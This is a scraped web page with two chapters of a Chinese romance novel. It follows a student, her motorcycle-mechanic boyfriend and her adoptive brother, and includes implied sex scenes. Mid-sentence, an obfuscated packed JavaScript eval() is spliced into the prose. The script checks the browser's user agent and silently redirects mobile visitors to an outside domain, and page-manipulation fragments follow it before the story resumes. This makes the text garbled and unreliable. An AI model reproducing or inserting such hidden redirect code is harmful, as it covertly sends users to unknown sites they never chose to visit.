$(''#content'').append('' 你的,”红毛突兀地挑起话题,“他从不让别人进他房间的。” “是吗?”黎予礼半信半疑。 因为她和孟尽桀认识第一天就被邀请进去了。 “是啊,”红毛笑得贼眉鼠眼,“而且他以前只管那些车子叫宝贝的。” “……”黎予礼尴尬一笑。 这是什么好话吗? “你不知道吧?桀哥其实是个挺没安全感的人。”红毛随便找了个箱子坐下。 “你们还需要安全感?”她心觉矛盾。 红毛撇了撇嘴角:“我的意思是,桀哥和你谈恋爱之后变得挺不一样的。” “哪不一样?” “他这段时间天天抱着手机,生怕错过你的消息,而且你一来他就会放我们鸽子。” 红毛说他们经常会约着一起去飙车,自从黎予礼来了之后孟尽桀就经常爽约。 “这不叫没安全感吧?”她无法苟同。 这应该叫恋爱脑。 “桀哥自己说的啊,”红毛下意识把自己老大卖了,“他说你应该只是玩玩,但不知道你什么时候玩腻。” 黎予礼愣住了。 她从没想过孟尽桀会说这样的话。 也不知道自己在孟尽桀心里是这样的人。 “我们当时还开玩笑说桀哥栽了,”红毛看上去没心没肺的,“不过都是玩笑话,你别当真。” 黎予礼扯了扯嘴角。 话都说出口了能不在意吗? “但我真挺佩服你的,”红毛没话找话,“我认识桀哥这么久还从没见过他那副模样。” 什么模样? 第一次接吻时生涩的模样? 骑车被她搂住时大笑的模样? 在她身下露出猩红眼尾的模样? 她忽然发现自己并不了解红毛口中的孟尽桀。 “你要在这儿等他吗?”红毛去柜子里翻出一把钥匙递给她,“我要出去一趟,你自己把门锁了呗。” 黎予礼接过钥匙:“没必要吧,我感觉你们这儿挺安全的啊。” 至少她每次来都没见到什么社会闲散人员。 “那是因为桀哥在,”红毛不敢丢她一个人在店里,正掏手机给孟尽桀打电话,“要是你出了什么事桀哥会把我杀了。” 红毛才刚拨通电话,黎予礼就听到一阵渐近的手机铃声。 孟尽桀骑着那辆熟悉的黑色机车停在修车行门口。 “你怎么……”他摘下头盔后视线就一直锁在黎予礼身上。 红毛路过时拍了拍他的肩膀,他也没有移动目光。 “今天不上课吗?”他把车推进店里。 黎予礼站起来,耸了耸肩:“请假了。” “不想上课?”孟尽桀问。 果然。 不是所有人都像黎宴琛那样只会问她是不是身体不舒服。 “我哥说让我休息。”她没有告诉他今天是自己生日。 孟尽桀一顿,淡淡点头:“那他知道你来我这儿吗?” “应该不知道,”黎予礼说完又想起那辆停在自己家不远处的车,“也可能知道。” 孟尽桀没什么反应,把装在车尾两侧的边箱拿下来,里面是他采买回来的改装零件。 他单膝蹲下身整理,高大的个子忽然比黎予礼矮了一大截。 “红毛跟我说了。”她突兀开口。 他停下手里的动作:“说了什么?” “说你……”她双手背在身后,缓步踱至他身旁,抬脚踩在他跪着的那边腿上,“觉得我迟早会玩腻。” 孟尽桀明显一滞。 视线落到她脚上,裤子因她抬腿的动作而上移,露出纤细的踝关节。 他放下零件,宽大的手掌包裹住她的脚踝。 抬头仰视她的眼神或许有些不甘:“不是吗?” 黎予礼用力往下踩,看到孟尽桀咬紧牙关的表情。 “难道你是我的玩具吗?” 他没有反驳,握着她脚踝的手忽然一拽,导致她重心不稳险些歪倒。 而他眼疾手快起身将她接住,牢牢搂进怀中。 黎予礼在差点摔跤的慌乱中分不清是不是自己幻听,孟尽桀好似低喃了一句:“……如果是就好了。” 不过这些都不重要了。 她不想在生日这天纠结这些问题。 去年生日给她带来的不愉快已经够多了。 今年她只想享受。 享受孟尽桀的伺候。 她看着孟尽桀房间死白一片的天花板逐渐被夜色吞没,调成静音的手机也在只余撞击和吟声的空间里被她无视。 七十一通未接来电。 直到手机电量耗尽。 26. 温泉 黎予礼不是什么没了手机就不能活的人。 但她一觉醒来发现自己在没报备的情况下夜不归宿,且手机关机无法立刻知会黎宴琛自己在哪。 再不回家估计活不过今天了。 孟尽桀叼着牙刷靠在浴室门边,嘴里的泡沫让他吐字不清:“我没记错的话还有十分钟你就迟到了。” “……”黎予礼真想干脆睡过去。 她动作利索起了床,估摸着以孟尽桀的车速能够让她踩点到校。 红毛拎着两袋豆浆油条来到店里,她连手机的电都来不及充更别提吃早餐了。 “欸怎么走这么早?”红毛一脸惋惜地看着桌上没人光顾的豆浆油条。 “我先送她去学校,”孟尽桀披上外套,“你等我回来再拆车。” 黎予礼急得不行,飞驰的机车在启承中学门口停下时她差点忘了摘头盔。 “宝贝,头盔给我。”孟尽桀伸手拽住她。 她一边小碎步跺脚一边从包里掏出等同于板砖的手机:“你拿回去帮我充电吧,下午放学来接我。” “好。”孟尽桀一并接过。 看着她围巾末尾的流苏因奔跑的动作而飞扬。 那张把他逼入绝境的网,竟是给予她自由的翅膀。 他把黎予礼的手机塞进外套内侧的口袋里,失了笑容的脸庞掩藏在头盔之下。 回程路上,他努力控制自己不去想。 不去想她颈间围巾的颜色。 不去想她身上淡淡的果香。 红毛看到他冷了脸回到修车行,边嚼油条边说:“对了桀哥,我刚买早餐路过阿彪那儿,他跟我说昨天凌晨看到你店门口停了辆宾利,还以为你换车了。” “你说什么?”孟尽桀捕捉到关键字眼。 红毛见他一脸严肃,吓得赶紧咽了嘴里的油条:“阿彪说的,说那车一直停在门口,就以为是你的,但我前面来没看见啊。” “宾利。”他挑了挑眉毛。 “嗯。”红毛点头。 “黑色。”他舔了舔嘴角。 “对。”红毛眨眼。 孟尽桀勾起唇,脸上瞬间没了方才的阴霾,走回房间给黎予礼的手机充上电。 为了确认充电线是否起效,他下意识按动手机电源键。 电量恰好够触发开机,他不小心看到开机动画后在锁屏界面弹出的未接来电通知。 联系人“哥哥”。 气泡内数字“71”。 映在他瞳孔里的屏幕光亮把他的眼神变得有些冷硬。 他用食指左滑消息框,看到“哥哥”两个字从黎予礼手机屏幕内消失。 眼底又恢复了笑意。 * 黎宴琛好像变得很奇怪。 但具体哪里奇怪,黎予礼也说不上来。 时间节点大概是她生日那天。 她第二天下午放学去孟尽桀那里拿了手机,晚上坐司机的车回到家,本以为黎宴琛会盘问她一番。 意料之外,他什么也没有问。 他什么也没有说。 既不关心她前一天去了哪里,也不好奇她前一晚住在谁家。 就好像一夜之间,他不再是她哥哥了一样。 不过确实也不是。 黎予礼佯装无所谓。 不管她最好。 最好以后都别管。 她干脆把家当成借宿的地方,除了睡觉之外没有任何其他活动。 学在课上。 吃在食堂。 心在孟尽桀那儿。 黎予礼并没有告诉孟尽桀那天是自己的生日,也许是红毛的话让她有所介怀。 她真的会玩腻吗? 她也不知道。 她只知道以她生日为时间节点,在此之后变得奇怪的人不止黎宴琛一个。 还有孟尽桀。 他最近心情大好,比黎予礼刚认识他那会儿还爱笑。每天不是在修车行里哼着歌拧扳手,就是早早骑车去启承门口等黎予礼。 “真让你混成我专属司机了。”她对此表态。 嘴角诚实地扬起,谁看到男朋友一袭黑皮衣靠坐在机车旁等自己的画面能忍住不开心呢。 “荣幸之至。”孟尽桀替她戴好头盔。 他知道她讨厌寒冷。 于是以此为借口给她买了许多保暖单品,包括但不限于手套、毛绒帽、暖手宝。 和围巾。 孟尽桀一口气给她买了许多条围巾。 五颜六色的,各个款式的。 黎予礼从来只戴羊绒材质的高奢品牌围巾,黎宴琛每年送给她的都是红色。 她还是第一次把这些不知道是腈纶、棉质还是聚酯纤维的粗糙布料围在颈间。 她本来想拒绝。 但话到了嘴边又想起红毛说过的。 孟尽桀没有安全感。 在还没有玩腻之前,她打算姑且学着当一个体贴的女朋友。 戴个围巾而已,还好不是什么需要上刀山下火海的牺牲。 机车稳稳刹住,停在修车行前。 “你们元旦放几天?” 孟尽桀接过她的头盔时顺手替她整理了一下围巾。 去年黎宴琛也这么问过她,不同时间不同地点的相同话语,让她有种恍如隔世的怅然。 她微微怔在原地,眼神失去焦距。 直到孟尽桀在她眼前打了个响指唤回她的神智,她才意识到自己很久没有和黎宴琛说过话了。 住在一个屋檐下还能做到低头不见抬头也不见,完全生活成了两条平行线。 “想什么呢?”孟尽桀俯身问。 抬手用指关节轻轻刮了刮她的鼻梁。 她快速眨眼,移开视线:“……没什么,应该还是放两天,补课一天。” “还是?”孟尽桀笑意不浅,“你们去年也是这么放的?” “嗯。” “那你去年有去哪儿玩吗?” 黎予礼用不着回想。 去年元旦黎宴琛问她想去哪玩,她想都没想就说自己要去徐寅安家里。 迈出了忤逆黎宴琛的第一步。 “高三生有什么可玩的?”黎予礼用反问来搪塞。 孟尽桀浅笑出声:“哈哈,劳逸结合嘛。” “你在床上也是这么说的。”黎予礼睨他一眼。 他嘴角扬得更高了,搂着她进了修车行。 本在拆零件的红毛识相地回避。黎予礼不知道是不是自己的错觉,自打她告诉孟尽桀红毛说过的话后,红毛就再也没有主动跟她聊过天。 也可能是他们没什么可聊的。 “那你元旦有什么安排吗?”孟尽桀从柜子里拿出一个取暖器。 从小习惯了住在有全屋暖气家里的黎予礼现在也适应了这样滑稽的御寒方式。 “没有,”她摇摇头,围巾的边缘蹭得她有些痒,“去看日落?” 孟尽桀把取暖器对着她,发热管的红光映在她脸颊上。 “会很冷的,不能害你感冒。” 电热源让眼睛变得有些干涩,她眨了眨眼:“哪有什么又暖和又有趣的地方啊?” “嗯……博物馆?科技馆?艺术馆?海洋馆?” 黎予礼给他一拳:“把我当小孩啊?” 孟尽桀捂着被她锤痛的地方笑:“这些地方不用花什么钱。” “你很穷吗?”她懒懒抬眼,“我可以付。” 反正是黎宴琛的钱。 她咽下了后半句话。 “那怎么行?”孟尽桀从没让她出过钱,“不能让你付。” “……谁规定的?”黎予礼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15855458|175906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 并不苟同男女关系中男方理应承担金钱支出的恋爱观念。 不过有人心甘情愿给她花钱也不是什么坏事。 “开玩笑啦。”孟尽桀掏出手机,认真搜索符合她要求的娱乐场所。 “去滑冰?” “不暖和。”她摇摇头。 “剧本杀?” “很无聊。”她不喜欢。 “那温泉……”孟尽桀突然停下,摆摆手想表达这个提议不佳。 黎予礼却突然拉过他的手。 她向来讨厌别人话说一半,干脆把手机掰过来自己看。 “温泉酒店?”她念出屏幕上的字。 孟尽桀左滑退出了帖子,看上去并不想采纳这个方案:“换一个吧。” “为什么?你不能泡温泉?”黎予礼觉得挺不错的。 暖和,有趣,环境好,服务优。 完美符合她预想中的假期。 “不是,我是觉得……”孟尽桀抿起唇,一副有口难言的样子。 黎予礼抬脚踢了踢他的小腿:“干嘛?觉得带我去酒店不好是吗?” 她现在也能猜中他的想法,轻而易举看透他人的感觉让她体会到完全主导的愉悦。 “也不全是吧。”孟尽桀嘴上这么说,喉结轻微地滑动被她敏锐捕捉。 “哦,抱也抱了、亲也亲了、睡也睡了……”她拽住孟尽桀的皮衣衣领,把他拉到自己面前。 手指关节故意蹭过他凸起的喉结。 “开个房还害羞了?”她对着他的脖颈吹气。 孟尽桀下意识一缩,映在她脸颊的红热光亮好似转移到了他耳朵上。 “我没……”他妄想反驳。 被她毫不留情地打回:“嘴上说的不算,要在行动上证明给我看。” 至于怎么证明。 还得看黎予礼心情。 她让孟尽桀挑了逾桐市最贵的一家温泉酒店,特意交代他不用担心价钱。 因为黎宴琛有的是钱。 不过她没把这个原因告知她没安全感的男朋友。 在孟尽桀这里多一事不如少一事。 他拗不过她,最终还是让她付了酒店钱。也许是五颜六色的围巾迷了他的眼,让他不再能一眼看穿她。 他不知道她这么做还有另一个目的。 是想看黎宴琛发现巨额支出的反应。 而且这笔巨款的去向是温泉酒店的情侣套房。 黎予礼不信她这个“冒牌哥哥”还能沉默淡定。 温泉酒店坐落在城东区,依山傍水,冬暖夏凉。 网络宣传有真有假,黎予礼没抱多大期望,到了地方才觉得自己的选择十分明智。 她就该来这样的地方好好享受。 别管是在水下还是床上的伺候。 孟尽桀没带什么行李,包里只有一套贴身的换洗衣服。 冬天用不着勤换外套,他背包的空间都用来装黎予礼的必需品。 套房阳台的私汤池不算大,恰好能够容纳他们俩。 黎予礼仰靠在池边,氤氲的水汽让她有些犯困了,眼皮逐渐沉重。 偏高的水温令人无比放松,但她知道如果在池中入睡,长时间的浸泡会导致体力不支或身体失衡。 万一晕倒溺水,得不偿失。 她喊了一声她的人形靠垫:“孟尽桀。” “怎么了?”他立刻收拢手臂,在水下紧搂着她腰际的手掌变得温热。 “你能在水下憋气多久?”她问。 孟尽桀难得找回读懂她心思的自信,低头吻了吻她的锁骨后闭气入水。 温热的池水涟漪渐起。 他在水下无法通过视觉判断黎予礼是否满意。 好在水声潺潺,盖不过她的声音。 他想,他终于掰回了一局。 27. 春分 五星级酒店的床肯定要比孟尽桀房间里的软。 黎予礼瘫软在他怀里,像一只吃饱了的猫,露出餍足的肚皮享受主人的抚摸。 不。 她才是主人。 黎予礼撑起上半身,屋里的暖气让床头柜上的香薰气味扩散得更为浓郁。 她不是很喜欢木质调,总令她感到昏昏沉沉。 也可能是温泉泡太久了。 她垂眸看着孟尽桀时不时帮她揉捏肌肉的手,问:“你是哪个大学毕业的?” “嗯?”孟尽桀大概是没想到她会突然好奇这个,“申大。” 她想起他说过的,他妈妈是申城人。 申城大学。 “211工程”、“双一流”建设高校。 黎予礼盯着手机屏幕上百度百科出来的词条信息。 孟尽桀瞥了一眼,笑说:“你想去申大?直接问我不就行了吗?百度百科可不会告诉你它宿舍环境怎么样。” “我是想看看它去年最低录取分数。”黎予礼熟练地切换界面,看到了那个比本科线高出将近200分的数字。 她沉沉叹了口气。 “怎么了?”孟尽桀察觉到她的情绪变化,一脸担忧地坐起身,“你一模的成绩如果能保持的话,申大应该是没问题的。” 但问题就是她无法保证自己高考的时候还能维持这个成绩。 毕竟去年她就搞砸了。 “说得容易,”她苦笑道,“我去年连本科线都没够着。” “本科线?”孟尽桀高考的时候还不是这样划分的,“相当于是在这个分数线以下的考生无法填报本科院校的志愿吗?” 黎予礼难得耐心,给他解释了一番新高考的规则。 孟尽桀却抓住了重点:“所以半年过去你就提了这么多分?” 他的眼神瞬间明亮如炬,目光里透着钦佩与赞赏。 是啊。 半年过去了。 她淡淡点头,没有谦虚:“有人说过我很聪明。” “哈哈,用不着别人说,”孟尽桀嘴角上扬,“你就是很聪明。” 他的语气听上去像是哄人的玩笑,黎予礼本不想当真。 这种没有实质性作用的夸奖对于现阶段的她来说无意义。 孟尽桀却忽然一本正经:“而且我发现你很有运动天赋。” “……从哪看出来的?”黎予礼满眼疑惑。 她可不是什么爱运动的人。 极限运动除外。 “你骑的那辆可是公路自行车欸,大多数学生的代步工具都是普通自行车。” 孟尽桀详细举例说明。 “骑公路自行车,心肺耐力要高、下肢力量要强、身体核心要稳。” 黎予礼耸了耸肩:“所以我摔了。” “不是……”孟尽桀被她逗笑,“你那时候又不是第一次骑,再说了你是为了避让行人才摔的。” 证据不够充分,黎予礼将信将疑。 他继续佐证:“而且之前我教你骑车,你很快就上手了……” “那你还不让我自己开。”黎予礼打断他。 孟尽桀笑着凑过去吻她嘴角:“不能无证驾驶呀宝贝。” 他的手从她腰侧顺势向下,厚实的被褥仿佛出现蛇爬行过的褶皱痕迹。 就在黎予礼以为他要继续在温泉池里没做够的事情时,他的手竟堪堪停在她小腿处。 两指夹着她的踝关节,掌心的薄茧贴着她光滑的肌肤。 “你没发现你的跟腱很长的吗?在弹跳方面有先天条件优势。”他还在为自己的观念提出论据。 黎予礼缓缓抽腿,直至踩住孟尽桀的手心。 她偏头贴上他耳垂,说:“没发现……” 孟尽桀托着她的脚,她屈起的膝盖正抵着他的胸肌。 “你说的天赋,是所有运动都包括在内的吗?” 当然了。 孟尽桀没有回答。 他一边吻她一边转移话题:“你真的想去申大吗?” 黎予礼翻了个白眼,对他坏气氛的话表达不满:“我就随便看看……” “不过同分情况下报申大不划算,逾桐大学录取分数线和它差不多吧,还是985呢。”孟尽桀动作不停,嘴也不停。 他叽里咕噜说了一堆,黎予礼左耳朵进右耳朵出。 “你不想在逾桐吗?”孟尽桀读懂了她沉默的含义。 她没有否认:“……人总要出去……见见世面吧?” 发丝散落在枕边,暖气让体温很快攀升。 “我当年也是这么想的,”孟尽桀拨开她胸前的头发,俯身亲吻,“而且我还天真地以为,去到我妈生活的城市后我能过得比原来开心……” 黎予礼不明白他为什么一定要在这样的时刻说煞风景的话题。 但关乎他的家庭,她只能硬着头皮倾听。 “结果才开学一个月我就想回来了,还是喜欢待在逾桐。” 被他留下吻痕的地方越来越多,黎予礼觉得自己以后可能要天天穿高领、戴围巾。 “所以你不如再考虑考虑,而且我也在逾桐啊……” 暧昧的尾音深深埋入,孟尽桀深呼吸调整好频率。 黎予礼哪还有心思考虑。 她在这个瞬间认同了孟尽桀方才的观点。 她确实很有运动天赋。 * 冬天好像变成了一只嗜睡的猫,窝在逾桐市的角落里,偶尔一阵凉风吹散了薄薄的雾。 也将“猫毛”吹向四处。 黎予礼打了个喷嚏。 她并没有意识到这是生病的前兆,一场由换季引起的流行性感冒席卷而来。 班里同学相继出现低热、头痛、干咳等症状,校方交代班主任叮嘱学生们注意防护。 可一个个拿身体当成消耗品来使用的备考生们哪里敌得过病毒。 黎予礼本想强撑着把试卷做完,奈何头晕难捱,纸上的文字好像全变成了感冒灵颗粒。 被“哗哗”倒进杯子里。 滚烫的水“咕嘟咕嘟”冲进去。 “小心烫。”黎宴琛把搅匀的药递过去给她。 她压根不记得自己是怎么回到家的。 好像是她昏昏沉沉地趴在桌上,好心的同桌跑去跟班主任打了报告。 再然后,她就什么也不记得了。 没人告诉她生病会产生幻觉。 她接过杯子,双手握着,升腾的热气氲得她眼眶有些湿润。 黎宴琛坐在床边,忽然抬手去碰她的额头。 微凉的手背贴上她发烫的皮肤。 有温差的触感让她意识到这不是幻觉。 也不是做梦。 “……你不用工作吗?”黎予礼哑声开口。 她这才发现自己的嗓子干涸得发紧。 “我去给你倒杯温水。”黎宴琛起身出了房间。 又是这样,又不正面回答她。 他再次回到房间时,黎予礼已将那还未冷却的感冒药喝下。 热流顺着食道向下,进入胃里。 对“多喝热水”存在误区的她觉得还挺舒服的,却被黎宴琛厉声制止:“放凉了再喝。” “……”半杯下肚。 “喝太热的容易灼伤食道和胃黏膜,”黎宴琛干脆把她手里那杯药拿走,把温水塞过去,“先喝水润润喉咙吧。” “……”喝不下了。 黎宴琛单手握着杯子轻轻摇晃,杯里的药液呈漏斗状漩涡。 她知道他这是在帮她快速降温。 “你们班主任说病好了再回校,你那些复习资料我麻烦你同桌帮忙收拾了一些,不知道有没有缺漏的,有的话你跟我说,我明天再去一趟学校。” 掌心隔着杯壁感受里面的温度有所下降,黎宴琛这才放心把药再次给她。 “……生病了哪还有心情学习。”她随口嘟囔了一句。 下意识顶嘴罢了,并非真心。 现在的她已充分意识到,应试教育就是重复、重复再重复。 不管是天赋异禀还是投机取巧,只要刷的题够多、见的题型够全,任何考试都不过是一纸书卷。 所以她必须争分夺秒,在枯燥又无趣的题海里练习闭气。 直到游至高考的彼岸。 但如果她生着病还刻苦复习,八成会让黎宴琛以为太阳打西边出来了,不如干脆借这个机会好好休息一下。 要知道自打元旦以后,她可是一刻也没有松懈过。 课间也学、吃饭也学。 就连去修车行,书包里也装着单词本。 因为去年的这个时候她才正式把复习掰回正轨,她比任何人都清楚什么叫“时间紧任务重”。 也是没想到时隔一年,她竟在思维模糊的状态下共情了徐寅安对学习的渴望。 好可怕。 她差点怀疑自己烧傻了。 “帮你量过了,是低烧,”黎宴琛适时开口,“吃了药就先休息吧,到点我再叫你起来吃晚饭。” “你不用工作吗?”她又问。 像是好奇这个长时间未与她有过交流的人心里藏着怎样的目的。 黎宴琛帮她掖了掖被角:“不用,等你病好了再说。” 黎予礼还未躺下,身上的被子就已平平整整地包裹住她。 “别,你该干嘛干嘛去,万一……” 万一传染你我可照顾不了。 话到了嘴边被她生生咽下。 “万一什么?”黎宴琛看出她眼底的犹豫。 她摇摇头:“没什么。” 话说完后作势要躺下,以阻止黎宴琛的追问。 手摸到身后的枕头时才发觉自己大概真的烧傻了,坐在黎宴琛床上这么久也没发现这不是她的房间。 “……我怎么在你这儿?” 黎宴琛神色如常,平静地答:“吃了药后可能会出汗,等你睡醒洗了澡再回你房间。” 这语气仿佛在说“我不过是把桃子从果篮里放到了冰箱”一样。 “你忘了你小时候生病弄湿了枕头和床单,就吵着闹着说再也不睡自己的房间了吗?”他忽然拿名为“过去”的证据来证明自己行为的正确性。 黎予礼难得没有顶撞他。 因为他说的是实话。 以前黎予礼每次发烧,外婆都会让她在被窝里捂出一身汗,说是能够散热退烧。 但等退了烧、换了床单,她却怎么也不肯再回去睡觉。 非说自己的床没有哥哥的香。 吵着闹着要霸占黎宴琛的房。 没办法。 还不如先让她当强盗。 反正被掠夺的人都是黎宴琛。 “休息吧,”他一手拿起两个空杯子,“有事就叫我。” 睡着了能有什么事。 黎予礼瞪着缓缓关上的房门。 淡淡桃子香味飘浮在空气里,渐渐渗入被褥,将她的梦完全包裹。 她本想在睡前给孟尽桀发消息,告诉他自己生了病,顺便提醒他注意身体。 奈何实在太困了,脑袋沾了枕头就昏昏沉沉睡去。 黎宴琛房间里的香薰才是真的助眠吧。 不仅助眠,还能篡改她的梦境。 她好像梦到自己在一处极热之地,浑身发汗的同时不停寻找能够降温的物品。 几经周折,她终于在一片白茫茫的雾气中摸到一个比自己体温低不少的玩偶。 看不清玩偶的样子。 但她紧紧抱住的时候能够闻到很浓郁的桃子味。 太热了。 她不得不把玩偶越抱越紧。 死活不肯松开。 期间感觉到好像有人在争抢她怀里的玩偶,她拼了命拽住。 不让对方有一丝一毫的机会。 滚烫的梦渐渐下坠,落入潮湿。 怀里的玩偶好像也被她弄湿了。 好闻的桃子味被汗水掩盖,昏沉的意识随着熟悉的气息消散。 她睡得很安稳。 直到黎宴琛敲门进来叫她起床吃晚饭。 “予礼,”他低声轻唤,“该起床了。” 他小心翼翼地把手伸进被子里,摸到她手腕上那条细细的红绳。 上面还残留着她褪去的高温 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还记得两个月前她为了引起黎宴琛的注意,故意用亲密付刷了一晚上四位数的温泉酒店情侣套房。 结果人家根本不在意。 黎予礼自讨没趣,从那以后和黎宴琛井水不犯河水。 要不是这一次生病,她已然把他当成了同居的陌生人。 而她现在要吃“陌生人”做的饭,吃“陌生人”夹的菜,吃“陌生人”为她剃干净刺的鱼肉。 好奇怪,真的好奇怪。 加之“陌生人”的沉默寡言,这顿病号餐她吃得很不是滋味。 没想到打破寂静的是黎宴琛是来电响铃。 “喂。”他毫不避讳地接起。 黎予礼不知道电话那头是谁,看似埋头吃饭假装不在意,实则悄悄竖起耳朵偷听。 “下周吧,我这周没空。”他一手拿着手机,一手还用筷子挑着鱼刺。 黎予礼看着那块白净的鱼肉从黎宴琛筷尖转移至她碗里,猛然想起今早班主任提了一嘴的百日誓师动员大会。 因为他们这群复读生去年参加过一次,没什么新鲜劲儿了,基本没人在意。 何况她当时头昏脑胀,一只耳朵进一只耳朵出,听到黎宴琛说的“下周”才触发率她的记忆开关。 “班主任说百日誓师那天要开家长会。”她用气音说,以免打扰黎宴琛的通话。 其实黎宴琛已经很久没有担任她“家长”这一职务了,但她不想麻烦小姨。 孟尽桀又不可能代劳。 思来想去还是得黎宴琛这个冒牌哥哥出马。 他闻言立马将手机拿远:“什么时候?” “就下周一。”她咬着筷子答。 没有留意他在听到“家长”二字时眼底的情绪变化。 黎宴琛点头以示知晓,对着手机说推掉他下周的行程。 她了然电话那头的人是他的助理。 “对了,”黎予礼起床时发现自己的外套整整齐齐叠放在床头柜上,但除此之外没见其他衣物,“你有看到我的围巾吗?” 正在收拾餐桌的黎宴琛一顿。 “……什么围巾?” “又粉又蓝又紫的,摸上去有点起球。”她明明记得她今天戴着。 难不成是落在学校了? 黎宴琛端着碗盘转身走向厨房,背对着她说:“没看到。” “你去接我的时候也没见吗?”她不死心,正拿起手机发消息问同桌。 黎宴琛不说话了。 洗碗的水流声淹没了他。 收到同桌说“没注意”的消息后,她扁了扁嘴打算放弃寻找。 反正孟尽桀送了不止一条。 反正冬天已沉沉睡去。 百日誓师对黎予礼来说已经没什么鼓舞作用了,求天求地都不如求自己。 而且启承是在自家操场上举办,没有文庙的氛围,单纯为了打点鸡血。 结束后黎予礼就在操场踢石头,教室还被家长会占用,学生们只能干等。 有这时间还不如多刷两道题,今年她依旧这么想。 “欸你听说了吗?启承往年都不让高三生参加春季趣味运动会,今年好像说为了给我们减轻压力,要全校师生一起玩儿。” 她听到不远处有几个学生聚在一起闲聊。 “真的假的?但趣味运动会一开就开三天欸,年级主任不觉得浪费时间吗?” “说是这么说,到时候真让你参加,试卷也少不了你的,苦的还是我们。” …… “哪天开啊?下个月吗?” “嗯,春分那天。” 春分。 昼夜等长,季节平分。 如果黎予礼没记错的话,今年黎宴琛生日恰好在春分。 往年他生日,黎予礼会用他的钱给他准备生日礼物。 去年也不例外,当时虚假的兄妹关系还未被戳穿,她挑了一条看上去很称他的领带。 不过一次也没见他系过。 今年还送吗? 这种无意义的形式早该解除了吧? 她生日的时候都没让他送。 26岁也不是什么特殊年龄。 说是这么说,但黎予礼坐在司机车上路过一家装修很华丽的蛋糕店时,还是不受控地萌发了要给黎宴琛庆生的念头。 就当是谢他照顾病人吧? 就当是她想吃蛋糕了吧? 嗯。 黎予礼挑了一个小四寸的精致蛋糕。 够她吃就行了。 得益于运动会不用上课,她把蛋糕拎回家时黎宴琛还没下班。 家里的冰箱不知道为什么塞得满满当当,黎予礼把盒子放到厨房岛台上,打算收拾出一个可以容纳蛋糕的空间。 不料在岛台边缘的卫生死角,发现了一滴小小的、凝固的、陈旧的、泪痕一般的—— ——蜡。